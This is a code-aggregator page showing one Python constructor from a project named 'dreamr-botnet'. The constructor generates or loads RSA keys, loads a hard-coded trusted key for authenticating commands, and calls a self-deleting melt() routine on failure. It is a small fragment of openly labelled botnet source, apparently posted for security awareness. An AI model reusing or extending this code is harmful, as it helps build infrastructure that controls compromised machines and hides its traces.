Context.py 文件源码

python
阅读 22 收藏 0 点赞 0 评论 0

项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码
def __init__(self, path, public=None, private=None):
        debug("crypto", "starting crpyto init")
        self.path = path
        if (public and private):
            self.DRMPublicKey = rsa.PublicKey.load_pkcs1(public)
            self.DRMPrivateKey = rsa.PrivateKey.load_pkcs1(private)
        else:
            try:
                if (not os.path.isfile("%sdrm.pub" % self.path) or not os.path.isfile("%sdrm.pem" % self.path)):
                    (self.DRMPublicKey, self.DRMPrivateKey) = rsa.newkeys(RSA_KEY_LEN)
                    self.saveKeys()
                else:
                    self.loadKeys()
            except Exception as e:
                debug("crypto", "failed gen keys %s" % str(e))
                melt()
                os._exit(420)

        # Load internal trusted key
        self.DRMTrustedKey = rsa.PublicKey.load_pkcs1(TRUSTED_KEY)
        return

    # AES crypts a file with s simple lib
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号